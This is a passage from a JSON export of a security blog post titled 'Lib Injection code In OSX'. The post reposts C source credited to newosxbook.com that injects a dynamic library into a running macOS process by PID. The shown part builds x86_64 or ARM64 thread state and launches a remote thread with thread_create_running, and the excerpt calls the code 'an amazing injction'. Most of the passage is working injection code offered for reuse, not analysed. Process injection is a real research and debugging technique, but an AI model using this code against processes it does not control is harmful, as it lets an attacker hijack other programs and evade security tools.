class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span><span class=\"sh_string\">\"Unable to set memory permissions for remote thread: Error %s<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_function\">mach_error_string<\/span><span class=\"sh_symbol\">(<\/span>kr<span class=\"sh_symbol\">));<\/span>\r\n\t\t<span class=\"sh_keyword\">return<\/span> <span class=\"sh_symbol\">(-<\/span><span class=\"sh_number\">4<\/span><span class=\"sh_symbol\">);<\/span>\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\r\n        <span class=\"sh_comment\">\/**<\/span>\r\n<span class=\"sh_comment\"> \t  *<\/span>\r\n<span class=\"sh_comment\"> \t  * Create thread - This is obviously hardware specific.  <\/span>\r\n<span class=\"sh_comment\">\t  *<\/span>\r\n<span class=\"sh_comment\">\t  *\/<\/span>\r\n\r\n<span class=\"sh_preproc\">#ifdef<\/span> X86_64\r\n        <span class=\"sh_usertype\">x86_thread_state64_t<\/span> remoteThreadState64<span class=\"sh_symbol\">;<\/span>\r\n<span class=\"sh_preproc\">#else<\/span>\r\n\t<span class=\"sh_comment\">\/\/ Using unified thread state for backporting to ARMv7, if anyone's interested..<\/span>\r\n\t<span class=\"sh_keyword\">struct<\/span> <span class=\"sh_classname\">arm_unified_thread_state<\/span> remoteThreadState64<span class=\"sh_symbol\">;<\/span>\r\n<span class=\"sh_preproc\">#endif<\/span>\r\n        <span class=\"sh_usertype\">thread_act_t<\/span>         remoteThread<span class=\"sh_symbol\">;<\/span>\r\n\r\n        <span class=\"sh_function\">memset<\/span><span class=\"sh_symbol\">(&amp;<\/span>remoteThreadState64<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">'<\/span><span class=\"sh_specialchar\">\\0<\/span><span class=\"sh_string\">'<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_keyword\">sizeof<\/span><span class=\"sh_symbol\">(<\/span>remoteThreadState64<span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">);<\/span>\r\n\r\n        remoteStack64 <span class=\"sh_symbol\">+=<\/span> <span class=\"sh_symbol\">(<\/span>STACK_SIZE <span class=\"sh_symbol\">\/<\/span> <span class=\"sh_number\">2<\/span><span class=\"sh_symbol\">);<\/span> <span class=\"sh_comment\">\/\/ this is the real stack<\/span>\r\n\t<span class=\"sh_comment\">\/\/remoteStack64 -= 8;  \/\/ need alignment of 16<\/span>\r\n\r\n        <span class=\"sh_keyword\">const<\/span> <span class=\"sh_type\">char<\/span><span class=\"sh_symbol\">*<\/span> p <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_keyword\">const<\/span> <span class=\"sh_type\">char<\/span><span class=\"sh_symbol\">*)<\/span> remoteCode64<span class=\"sh_symbol\">;<\/span>\r\n<span class=\"sh_preproc\">#ifdef<\/span> X86_64\r\n        remoteThreadState64<span class=\"sh_symbol\">.<\/span>__rip <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>u_int64_t<span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">(<\/span>vm_address_t<span class=\"sh_symbol\">)<\/span> remoteCode64<span class=\"sh_symbol\">;<\/span>\r\n\r\n        <span class=\"sh_comment\">\/\/ set remote Stack Pointer<\/span>\r\n        remoteThreadState64<span class=\"sh_symbol\">.<\/span>__rsp <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>u_int64_t<span class=\"sh_symbol\">)<\/span> remoteStack64<span class=\"sh_symbol\">;<\/span>\r\n        remoteThreadState64<span class=\"sh_symbol\">.<\/span>__rbp <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>u_int64_t<span class=\"sh_symbol\">)<\/span> remoteStack64<span class=\"sh_symbol\">;<\/span>\r\n<span class=\"sh_preproc\">#else<\/span>\r\n\r\n\t<span class=\"sh_comment\">\/\/ Note the similarity - all we change are a couple of regs.<\/span>\r\n\tremoteThreadState64<span class=\"sh_symbol\">.<\/span>ash<span class=\"sh_symbol\">.<\/span>flavor <span class=\"sh_symbol\">=<\/span> ARM_THREAD_STATE64<span class=\"sh_symbol\">;<\/span>\r\n\tremoteThreadState64<span class=\"sh_symbol\">.<\/span>ash<span class=\"sh_symbol\">.<\/span>count <span class=\"sh_symbol\">=<\/span> ARM_THREAD_STATE64_COUNT<span class=\"sh_symbol\">;<\/span>\r\n\tremoteThreadState64<span class=\"sh_symbol\">.<\/span>ts_64<span class=\"sh_symbol\">.<\/span>__pc <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>u_int64_t<span class=\"sh_symbol\">)<\/span> remoteCode64<span class=\"sh_symbol\">;<\/span>\r\n\tremoteThreadState64<span class=\"sh_symbol\">.<\/span>ts_64<span class=\"sh_symbol\">.<\/span>__sp <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>u_int64_t<span class=\"sh_symbol\">)<\/span> remoteStack64<span class=\"sh_symbol\">;<\/span>\r\n<span class=\"sh_comment\">\/\/ __uint64_t    __x[29];  \/* General purpose registers x0-x28 *\/<\/span>\r\n<span class=\"sh_preproc\">#endif<\/span>\r\n\r\n\t<span class=\"sh_function\">printf<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_string\">\"Remote Stack 64  0x%llx, Remote code is %p<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> remoteStack64<span class=\"sh_symbol\">,<\/span> p <span class=\"sh_symbol\">);<\/span>\r\n\r\n\t<span class=\"sh_comment\">\/*<\/span>\r\n<span class=\"sh_comment\">\t * create thread and launch it in one go<\/span>\r\n<span class=\"sh_comment\">\t *\/<\/span>\r\n<span class=\"sh_preproc\">#ifdef<\/span> X86_64\r\nkr <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">thread_create_running<\/span><span class=\"sh_symbol\">(<\/span> remoteTask<span class=\"sh_symbol\">,<\/span> x86_THREAD_STATE64<span class=\"sh_symbol\">,<\/span>\r\n<span class=\"sh_symbol\">(<\/span>thread_state_t<span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">&amp;<\/span>remoteThreadState64<span class=\"sh_symbol\">,<\/span> x86_THREAD_STATE64_COUNT<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>remoteThread <span class=\"sh_symbol\">);<\/span>\r\n<span class=\"sh_preproc\">#else<\/span> <span class=\"sh_comment\">\/\/ __arm64__<\/span>\r\nkr <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">thread_create_running<\/span><span class=\"sh_symbol\">(<\/span> remoteTask<span class=\"sh_symbol\">,<\/span> ARM_THREAD_STATE64<span class=\"sh_symbol\">,<\/span> <span class=\"sh_comment\">\/\/ ARM_THREAD_STATE64,<\/span>\r\n<span class=\"sh_symbol\">(<\/span>thread_state_t<span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">&amp;<\/span>remoteThreadState64<span class=\"sh_symbol\">.<\/span>ts_64<span class=\"sh_symbol\">,<\/span> ARM_THREAD_STATE64_COUNT <span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>remoteThread <span class=\"sh_symbol\">);<\/span>\r\n\r\n<span class=\"sh_preproc\">#endif<\/span>\r\n\r\n<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>kr <span class=\"sh_symbol\">!=<\/span> KERN_SUCCESS<span class=\"sh_symbol\">)<\/span> <span class=\"sh_cbracket\">{<\/span> <span class=\"sh_function\">fprintf<\/span><span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span><span class=\"sh_string\">\"Unable to create remote thread: error %s\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_function\">mach_error_string<\/span> <span class=\"sh_symbol\">(<\/span>kr<span class=\"sh_symbol\">));<\/span>\r\n\t\t\t  <span class=\"sh_keyword\">return<\/span> <span class=\"sh_symbol\">(-<\/span><span class=\"sh_number\">3<\/span><span class=\"sh_symbol\">);<\/span> <span class=\"sh_cbracket\">}<\/span>\r\n\r\n<span class=\"sh_keyword\">return<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">);<\/span>\r\n\r\n<span class=\"sh_cbracket\">}<\/span> <span class=\"sh_comment\">\/\/ end injection code<\/span>\r\n\r\n\r\n\r\n<span class=\"sh_type\">int<\/span> <span class=\"sh_function\">main<\/span><span class=\"sh_symbol\">(<\/span><span class=\"sh_type\">int<\/span> argc<span class=\"sh_symbol\">,<\/span> <span class=\"sh_keyword\">const<\/span> <span class=\"sh_type\">char<\/span> <span class=\"sh_symbol\">*<\/span> argv<span class=\"sh_symbol\">[])<\/span>\r\n<span class=\"sh_cbracket\">{<\/span>\r\n <span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>argc <span class=\"sh_symbol\">&lt;<\/span> <span class=\"sh_number\">3<\/span><span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t\t<span class=\"sh_function\">fprintf<\/span> <span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"Usage: %s _pid_ _action_<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> argv<span class=\"sh_symbol\">[<\/span><span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">]);<\/span>\r\n\t\t<span class=\"sh_function\">fprintf<\/span> <span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"   _action_: path to a dylib on disk<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">);<\/span>\r\n\t\t<span class=\"sh_function\">exit<\/span><span class=\"sh_symbol\">(<\/span><span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">);<\/span>\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n<span class=\"sh_usertype\">pid_t<\/span> pid <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">atoi<\/span><span class=\"sh_symbol\">(<\/span>argv<span class=\"sh_symbol\">[<\/span><span class=\"sh_number\">1<\/span><span class=\"sh_symbol\">]);<\/span>\r\n<span class=\"sh_keyword\">const<\/span> <span class=\"sh_type\">char<\/span> <span class=\"sh_symbol\">*<\/span>action <span class=\"sh_symbol\">=<\/span> argv<span class=\"sh_symbol\">[<\/span><span class=\"sh_number\">2<\/span><span class=\"sh_symbol\">];<\/span>\r\n<span class=\"sh_keyword\">struct<\/span> <span class=\"sh_classname\">stat<\/span> buf<span class=\"sh_symbol\">;<\/span>\r\n\r\n<span class=\"sh_type\">int<\/span> rc <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">stat<\/span> <span class=\"sh_symbol\">(<\/span>action<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>buf<span class=\"sh_symbol\">);<\/span>\r\n<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>rc <span class=\"sh_symbol\">==<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">)<\/span> <span class=\"sh_function\">inject<\/span><span class=\"sh_symbol\">(<\/span>pid<span class=\"sh_symbol\">,<\/span>action<span class=\"sh_symbol\">);<\/span>\r\n<span class=\"sh_keyword\">else<\/span>\r\n<span class=\"sh_cbracket\">{<\/span>\r\n\t<span class=\"sh_function\">fprintf<\/span><span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span><span class=\"sh_string\">\"Dylib not found<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">);<\/span>\r\n<span class=\"sh_cbracket\">}<\/span>\r\n\r\n<span class=\"sh_cbracket\">}<\/span>\r\n\r\n<span class=\"sh_preproc\">#if<\/span> <span class=\"sh_number\">0<\/span>\r\n\r\n\r\ntatic <span class=\"sh_type\">void<\/span> <span class=\"sh_function\">con<\/span><span class=\"sh_symbol\">()<\/span> <span class=\"sh_function\">__attribute__<\/span><span class=\"sh_symbol\">((<\/span>constructor<span class=\"sh_symbol\">));<\/span>\r\n\r\n<span class=\"sh_type\">void<\/span> <span class=\"sh_function\">con<\/span><span class=\"sh_symbol\">()<\/span> <span class=\"sh_cbracket\">{<\/span>\r\n\r\n    <span class=\"sh_function\">printf<\/span><span class=\"sh_symbol\">(<\/span><span class=\"sh_string\">\"I'm a constructor<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">);<\/span>\r\n\r\n<span class=\"sh_cbracket\">}<\/span>\r\n\r\n<span class=\"sh_preproc\">#endif<\/span><\/pre>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>taken from :\u00a0http:\/\/newosxbook.com\/src.jl?tree=listings&amp;file=inject.c this is an amazing injction Open Source for OSX &nbsp; #include &lt;dlfcn.h&gt; #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;sys\/types.h&gt; #include &lt;mach\/mach.h&gt; #include &lt;mach\/error.h&gt; #include &lt;errno.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys\/sysctl.h&gt; #include &lt;dlfcn.h&gt; #include &lt;sys\/mman.h&gt; #include &lt;sys\/stat.h&gt; #include &lt;pthread.h&gt; #ifdef __arm64__ \/\/#include &#8220;mach\/arm\/thread_status.h&#8221; \/\/ Apple says: mach\/mach_vm.h:1:2: error: mach_vm.h unsupported \/\/ And I say, bullshit. &hellip; <a href=\"https:\/\/piratesecurityblog.com\/?p=65\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Lib Injection code In OSX<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/65"}],"collection":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=65"}],"version-history":[{"count":2,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/65\/revisions"}],"predecessor-version":[{"id":67,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/65\/revisions\/67"}],"wp:attachment":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=65"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=65"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=65"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}